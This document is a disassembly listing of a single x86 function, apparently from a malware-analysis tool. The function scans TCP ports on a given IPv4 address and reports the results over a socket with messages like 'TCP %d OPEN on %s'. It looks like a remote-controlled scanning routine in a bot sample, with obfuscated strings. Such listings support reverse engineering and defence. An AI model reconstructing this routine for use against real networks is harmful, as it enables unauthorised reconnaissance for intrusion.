Function at 0x402590
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x41db60]
paddd xmm0, xmmword [0x41db70]
mov ax, word [0x41d830]
movups xmmword [ebp - 0x2b8], xmm0
push ebx
movaps xmm0, xmmword [0x41db80]
mov ebx, ecx
movups xmmword [ebp - 0x2a8], xmm0
mov word [ebp - 8], ax
movaps xmm0, xmmword [0x41db90]
movzx eax, byte [0x41d832]
movups xmmword [ebp - 0x298], xmm0
push esi
movaps xmm0, xmmword [0x41dba0]
mov esi, edx
movups xmmword [ebp - 0x288], xmm0
mov byte [ebp - 6], al
movaps xmm0, xmmword [0x41dbb0]
mov eax, dword [0x41d93c]
movups xmmword [ebp - 0x278], xmm0
push edi
movaps xmm0, xmmword [0x41dbc0]
mov edi, dword [ebp + 8]
movups xmmword [ebp - 0x268], xmm0
mov dword [ebp - 0x20], eax
movaps xmm0, xmmword [0x41dbd0]
movzx eax, byte [0x41d974]
movups xmmword [ebp - 0x258], xmm0
push 0x200
movq xmm0, qword [str.007SULYPVJ]
movq qword [ebp - 0x10], xmm0
movq xmm0, qword [str.008VFDQKRVW]
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x228]
movq qword [ebp - 0x28], xmm0
movq xmm0, qword [str.005HUURU]
push 0
push eax
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x23c], edi
movq qword [ebp - 0x1c], xmm0
call fcn.00404260
add esp, 0xc
lea ecx, [ebp - 0x28]
push dword [ebp + 0xc]
push edi
push esi
call section..text
push eax
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:inside__s_with__s___d_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x1c
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4026c0
mov edi, dword [sym.imp.WS2_32.dll_send]
lea eax, [ebp - 0x228]
push 0
sub ecx, edx
push ecx
push eax
push ebx
call edi
mov edx, dword [ebp - 0x23c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x244], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4026f0
sub ecx, dword [ebp - 0x244]
cmp ecx, 0xf
ja 0x402d56
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x238]
push eax
push str._d._d._d._d
push edx
call fcn.00402470
mov eax, dword [ebp - 0x22c]
add esp, 0x18
mov ecx, dword [ebp + 0xc]
shl eax, 8
add eax, dword [ebp - 0x230]
shl eax, 8
add eax, dword [ebp - 0x234]
shl eax, 8
add eax, dword [ebp - 0x238]
mov dword [ebp - 0x244], eax
cmp ecx, 0xffffffff
jne 0x40298c
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push dword [ebp - 0x23c]
push esi
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:Well_known_port_scan_on__s_starting..._n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4027c0
push 0
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
push ebx
call edi
mov esi, dword [ebp - 0x2b8]
mov dword [ebp - 0x248], 0
mov ecx, dword [ebp - 0x244]
mov edx, esi
push 2
call fcn.004024a0
add esp, 4
cmp eax, 0xffffffff
jne 0x40288e
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea eax, [ebp - 0x1c]
push str.005HUURU
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x1c]
push esi
push dword [ebp - 0x23c]
call section..text
push eax
push dword [ebp - 0x240]
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:__s_opening__s_over_port__d_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x1c
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402880
sub ecx, edx
push 0
push ecx
jmp 0x4028fe
cmp eax, 1
jne 0x402908
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push dword [ebp - 0x23c]
push esi
push dword [ebp - 0x240]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:TCP_d_OPEN_on__s_n
push eax
call fcn.00401070
lea eax, [ebp - 0x228]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4028f2
sub eax, edx
push 0
push eax
lea eax, [ebp - 0x228]
push eax
push ebx
call edi
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
mov esi, dword [ebp + eax*4 - 0x2b8]
test esi, esi
jg 0x4027e6
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push dword [ebp - 0x240]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:done_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402980
jmp 0x402d47
test ecx, ecx
jne 0x402c3c
push 0x200
push ecx
lea eax, [ebp - 0x228]
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push dword [ebp - 0x23c]
push esi
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:all_ports__s..._n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4029f0
push 0
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
push ebx
call edi
xor esi, esi
nop dword [eax + eax]
mov ecx, dword [ebp - 0x244]
inc esi
push 1
mov edx, esi
call fcn.004024a0
add esp, 4
cmp eax, 0xffffffff
jne 0x402ab9
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea eax, [ebp - 0x1c]
push str.005HUURU
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x1c]
push esi
push dword [ebp - 0x23c]
push dword [ebp - 0x240]
call section..text
push eax
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:_s_opening__s_over__d_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x1c
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402ab0
jmp 0x402b27
cmp eax, 1
jne 0x402b36
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push dword [ebp - 0x23c]
push esi
push dword [ebp - 0x240]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:TCP_d_OPEN_on__s_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b20
push 0
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
push ebx
call edi
mov eax, 0x66666667
imul esi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
mov eax, esi
shl ecx, 2
sub eax, ecx
jne 0x402bc6
push 0x200
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push esi
push dword [ebp - 0x240]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:at_TCP_d_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402bb0
push 0
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
push ebx
call edi
cmp esi, 0xffff
jl 0x402a10
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea ecx, [ebp - 0x10]
push dword [ebp - 0x240]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:done_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x10
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c30
jmp 0x402d47
mov edx, ecx
mov ecx, eax
push 2
call fcn.004024a0
add esp, 4
cmp eax, 0xffffffff
jne 0x402cd9
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
add esp, 0xc
lea eax, [ebp - 0x1c]
push str.005HUURU
push 0x41d9dc
push eax
call fcn.00401070
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
add esp, 0xc
push eax
push dword [ebp - 0x23c]
push esi
call section..text
push eax
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:_s_opening__s_over_port__d_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x1c
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402cd0
jmp 0x402d47
cmp eax, 1
jne 0x402d56
push 0x200
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0x10]
push str.007SULYPVJ
push 0x41d9dc
push eax
call fcn.00401070
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
add esp, 0xc
push dword [ebp - 0x23c]
push eax
push esi
call section..text
push eax
lea eax, [ebp - 0x228]
push str._s__s_:TCP_d_OPEN_on__s_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x228]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d40
push 0
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
push ebx
call edi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004031d1
mov esp, ebp
pop ebp
ret